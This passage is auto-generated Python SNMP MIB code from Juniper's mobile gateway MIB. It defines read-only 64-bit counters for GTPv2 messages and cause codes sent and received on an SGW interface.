mibBuilder.loadTexts: jnxMbgSgwIfUpdConnSetReqTx.setDescription('Number of GTP V2 Update Connection set Request Sent.') jnxMbgSgwIfUpdConnSetRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 55), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfUpdConnSetRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfUpdConnSetRspRx.setDescription('Number of GTP V2 Update Connection set Response received.') jnxMbgSgwIfUpdConnSetRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 56), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfUpdConnSetRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfUpdConnSetRspTx.setDescription('Number of GTP V2 Update Connection set Response Sent.') jnxMbgSgwIfModBrCmdRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 57), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfModBrCmdRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfModBrCmdRx.setDescription('Number of GTP V2 Modify Bearer Command received.') jnxMbgSgwIfModBrCmdTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 58), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfModBrCmdTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfModBrCmdTx.setDescription('Number of GTP V2 Modify Bearer Command Sent.') jnxMbgSgwIfModBrFlrIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 59), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfModBrFlrIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfModBrFlrIndRx.setDescription('Number of GTP V2 Modify Bearer Failure received.') jnxMbgSgwIfModBrFlrIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 60), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfModBrFlrIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfModBrFlrIndTx.setDescription('Number of GTP V2 Modify Bearer Failure Sent.') jnxMbgSgwIfDelBrCmdRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 61), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelBrCmdRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelBrCmdRx.setDescription('Number of GTP V2 Delete Bearer Command received.') jnxMbgSgwIfDelBrCmdTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 62), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelBrCmdTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelBrCmdTx.setDescription('Number of GTP V2 Delete Bearer Command Sent.') jnxMbgSgwIfDelBrFlrIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 63), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelBrFlrIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelBrFlrIndRx.setDescription('Number of GTP V2 Delete Bearer Failure received.') jnxMbgSgwIfDelBrFlrIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 64), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelBrFlrIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelBrFlrIndTx.setDescription('Number of GTP V2 Delete Bearer Failure Sent.') jnxMbgSgwIfBrResCmdRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 65), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfBrResCmdRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfBrResCmdRx.setDescription('Number of GTP V2 Bearer Response Command received.') jnxMbgSgwIfBrResCmdTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 66), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfBrResCmdTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfBrResCmdTx.setDescription('Number of GTP V2 Bearer Response Command Sent.') jnxMbgSgwIfBrResFlrIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 67), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfBrResFlrIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfBrResFlrIndRx.setDescription('Number of GTP V2 Bearer Resource Failure received.') jnxMbgSgwIfBrResFlrIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 68), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfBrResFlrIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfBrResFlrIndTx.setDescription('Number of GTP V2 Bearer Resource Failure Sent.') jnxMbgSgwIfRelAcsBrReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 69), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfRelAcsBrReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfRelAcsBrReqRx.setDescription('Number of GTP V2 Release Access Bearer Requests received.') jnxMbgSgwIfRelAcsBrReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 70), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfRelAcsBrReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfRelAcsBrReqTx.setDescription('Number of GTP V2 Release Access Bearer Requests sent.') jnxMbgSgwIfRelAcsBrRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 71), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfRelAcsBrRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfRelAcsBrRespRx.setDescription('Number of GTP V2 Release Access Bearer Response received.') jnxMbgSgwIfRelAcsBrRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 72), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfRelAcsBrRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfRelAcsBrRespTx.setDescription('Number of GTP V2 Release Access Bearer Response sent.') jnxMbgSgwIfCrIndTunReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 73), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfCrIndTunReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfCrIndTunReqRx.setDescription('Number of GTP V2 Create Indirect Tunnel Forward Request Received') jnxMbgSgwIfCrIndTunReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 74), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfCrIndTunReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfCrIndTunReqTx.setDescription('Number of GTP V2 Create Indirect Tunnel Forward Request sent') jnxMbgSgwIfCrIndTunRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 75), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfCrIndTunRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfCrIndTunRespRx.setDescription('Number of GTP V2 Create Indirect Tunnel Forward Response Received') jnxMbgSgwIfCrIndTunRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 76), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfCrIndTunRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfCrIndTunRespTx.setDescription('Number of GTP V2 Create Indirect Tunnel Forward Response sent') jnxMbgSgwIfDelIndTunReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 77), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelIndTunReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelIndTunReqRx.setDescription('Number of GTP V2 Delete Indirect Tunnel Forward Request Received') jnxMbgSgwIfDelIndTunReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 78), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelIndTunReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelIndTunReqTx.setDescription('Number of GTP V2 Delete Indirect Tunnel Forward Request sent.') jnxMbgSgwIfDelIndTunRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 79), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelIndTunRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelIndTunRespRx.setDescription('Number of GTP V2 Delete Indirect Tunnel Forward Response Received') jnxMbgSgwIfDelIndTunRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 80), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelIndTunRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelIndTunRespTx.setDescription('Number of GTP V2 Delete Indirect Tunnel Forward Response sent.') jnxMbgSgwIfDlDataNotifRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 81), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDlDataNotifRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDlDataNotifRx.setDescription('Number of GTP V2 Downlink Data Notify received.') jnxMbgSgwIfDlDataNotifTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 82), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDlDataNotifTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDlDataNotifTx.setDescription('Number of GTP V2 Downlink Data Notify Sent.') jnxMbgSgwIfDlDataAckRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 83), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDlDataAckRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDlDataAckRx.setDescription('Number of GTP V2 Downlink Data Notify Acknowledgement received.') jnxMbgSgwIfDlDataAckTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 84), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDlDataAckTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDlDataAckTx.setDescription('Number of GTP V2 Downlink Data Notify Acknowledgement Sent.') jnxMbgSgwIfDlDataNotiFlrIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 85), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDlDataNotiFlrIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDlDataNotiFlrIndRx.setDescription('Number of GTP V2 Downlink Data Notification fail received.') jnxMbgSgwIfDlDataNotiFlrIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 86), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDlDataNotiFlrIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDlDataNotiFlrIndTx.setDescription('Number of GTP V2 Downlink Data Notification fail Sent.') jnxMbgSgwIfStopPagingIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 87), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfStopPagingIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfStopPagingIndRx.setDescription('Number of GTP V2 Number of Stop Paging Indication Messages Received.') jnxMbgSgwIfStopPagingIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 88), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfStopPagingIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfStopPagingIndTx.setDescription('Number of GTP V2 Number of Stop Paging Indicaton messages sent') jnxMbgSgwIfGtpV2ICsReqAcceptRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 89), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsReqAcceptRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsReqAcceptRx.setDescription('Number of GTPV2 packets received with cause Request Accept.') jnxMbgSgwIfGtpV2ICsReqAcceptTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 90), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsReqAcceptTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsReqAcceptTx.setDescription('Number of GTP packets sent with cause Request Accept.') jnxMbgSgwIfGtpV2ICsAcceptPartRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 91), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsAcceptPartRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsAcceptPartRx.setDescription('Number of GTPV2 packets received with cause Accept Partial.') jnxMbgSgwIfGtpV2ICsAcceptPartTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 92), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsAcceptPartTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsAcceptPartTx.setDescription('Number of GTP packets sent with cause Accept Partial.') jnxMbgSgwIfGtpV2ICsNewPTNPrefRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 93), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNewPTNPrefRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNewPTNPrefRx.setDescription('Number of GTPV2 packets received with cause New PDN type due to Network Preference.') jnxMbgSgwIfGtpV2ICsNewPTNPrefTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 94), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNewPTNPrefTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNewPTNPrefTx.setDescription('Number of GTP packets sent with cause New PDN type due to Network Preference') jnxMbgSgwIfGtpV2ICsNPTSIAdbrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 95), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNPTSIAdbrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNPTSIAdbrRx.setDescription('Number of GTPV2 packets received with cause New PDN type due to Single Address Bearer.') jnxMbgSgwIfGtpV2ICsNPTSIAdbrTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 96), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNPTSIAdbrTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNPTSIAdbrTx.setDescription('Number of GTP packets sent with cause New PDN type due to Single Address Bearer.') jnxMbgSgwIfGtpV2ICsCtxNotFndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 97), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsCtxNotFndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsCtxNotFndRx.setDescription('Number of GTPV2 packets received with cause Context not found.') jnxMbgSgwIfGtpV2ICsCtxNotFndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 98), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsCtxNotFndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsCtxNotFndTx.setDescription('Number of GTP packets sent with cause Context not found.') jnxMbgSgwIfGtpV2ICsInvMsgFmtRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 99), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInvMsgFmtRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInvMsgFmtRx.setDescription('Number of GTPV2 packets received with cause Invalid Message Format.') jnxMbgSgwIfGtpV2ICsInvMsgFmtTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 100), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInvMsgFmtTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInvMsgFmtTx.setDescription('Number of GTP packets sent with cause Invalid Message Format.') jnxMbgSgwIfGtpV2ICsVerNotSuppRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 101), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsVerNotSuppRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsVerNotSuppRx.setDescription('Number of GTPV2 packets received with cause Version not Supported.') jnxMbgSgwIfGtpV2ICsVerNotSuppTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 102), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsVerNotSuppTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsVerNotSuppTx.setDescription('Number of GTP packets sent with cause Version not Supported.') jnxMbgSgwIfGtpV2ICsInvLenRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 103), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInvLenRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInvLenRx.setDescription('Number of GTPV2 packets received with cause Invalid Length.') jnxMbgSgwIfGtpV2ICsInvLenTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 104), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInvLenTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInvLenTx.setDescription('Number of GTP packets sent with cause Invalid Length.') jnxMbgSgwIfGtpV2ICsSrvNotSuppRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 105), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsSrvNotSuppRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsSrvNotSuppRx.setDescription('Number of GTPV2 packets received with cause Service Not supported.') jnxMbgSgwIfGtpV2ICsSrvNotSuppTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 106), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsSrvNotSuppTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsSrvNotSuppTx.setDescription('Number of GTP packets sent with cause Service Not supported.') jnxMbgSgwIfGtpV2ICsManIEIncorRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 107), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsManIEIncorRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsManIEIncorRx.setDescription('Number of GTPV2 packets received with cause Mandatory IE incorrect.') jnxMbgSgwIfGtpV2ICsManIEIncorTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 108), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsManIEIncorTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsManIEIncorTx.setDescription('Number of GTP packets sent with cause Mandatory IE incorrect.') jnxMbgSgwIfGtpV2ICsManIEMissRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 109), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsManIEMissRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsManIEMissRx.setDescription('Number of GTPV2 packets received with cause Mandatory IE Missing.') jnxMbgSgwIfGtpV2ICsManIEMissTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 110), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsManIEMissTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsManIEMissTx.setDescription('Number of GTP packets sent with cause Mandatory IE Missing.') jnxMbgSgwIfGtpV2ICsOptIEIncorRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 111), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsOptIEIncorRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsOptIEIncorRx.setDescription('Number of GTPV2 packets received with cause Optional IE Incorrect.') jnxMbgSgwIfGtpV2ICsOptIEIncorTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 112), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsOptIEIncorTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsOptIEIncorTx.setDescription('Number of GTP packets sent with cause Optional IE Incorrect.') jnxMbgSgwIfGtpV2ICsSysFailRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 113), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsSysFailRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsSysFailRx.setDescription('Number of GTPV2 packets received with cause System Failure.') jnxMbgSgwIfGtpV2ICsSysFailTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 114), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsSysFailTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsSysFailTx.setDescription('Number of GTP packets sent with cause System Failure.') jnxMbgSgwIfGtpV2ICsNoResRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 115), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNoResRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNoResRx.setDescription('Number of GTPV2 packets received with cause No Resource.') jnxMbgSgwIfGtpV2ICsNoResTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 116), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNoResTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNoResTx.setDescription('Number of GTP packets sent with cause No Resource.') jnxMbgSgwIfGtpV2ICsTFTSMANTErRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 117), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsTFTSMANTErRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsTFTSMANTErRx.setDescription('Number of GTPV2 packets received with cause TFT Symantic Error.') jnxMbgSgwIfGtpV2ICsTFTSMANTErTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 118), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsTFTSMANTErTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsTFTSMANTErTx.setDescription('Number of GTP packets sent with cause TFT Symantic Error.') jnxMbgSgwIfGtpV2ICsTFTSysErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 119), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsTFTSysErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsTFTSysErrRx.setDescription('Number of GTPV2 packets received with cause TFT System Error.') jnxMbgSgwIfGtpV2ICsTFTSysErrTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 120), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsTFTSysErrTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsTFTSysErrTx.setDescription('Number of GTP packets sent with cause TFT System Error.') jnxMbgSgwIfGtpV2ICsPkFltManErRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 121), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsPkFltManErRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsPkFltManErRx.setDescription('Number of GTPV2 packets received with cause Packet Filter Symantic Error.') jnxMbgSgwIfGtpV2ICsPkFltManErTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 122), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsPkFltManErTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsPkFltManErTx.setDescription('Number of GTP packets sent with cause Packet Filter Symantic Error.') jnxMbgSgwIfGtpV2ICsPkFltSynErRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 123), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsPkFltSynErRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsPkFltSynErRx.setDescription('Number of GTPV2 packets received with cause Packet Filter Syntax Error.') jnxMbgSgwIfGtpV2ICsPkFltSynErTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 124), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsPkFltSynErTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsPkFltSynErTx.setDescription('Number of GTP packets sent with cause Packet Filter Syntax Error.') jnxMbgSgwIfGtpV2ICsMisUnknAPNRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 125), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: 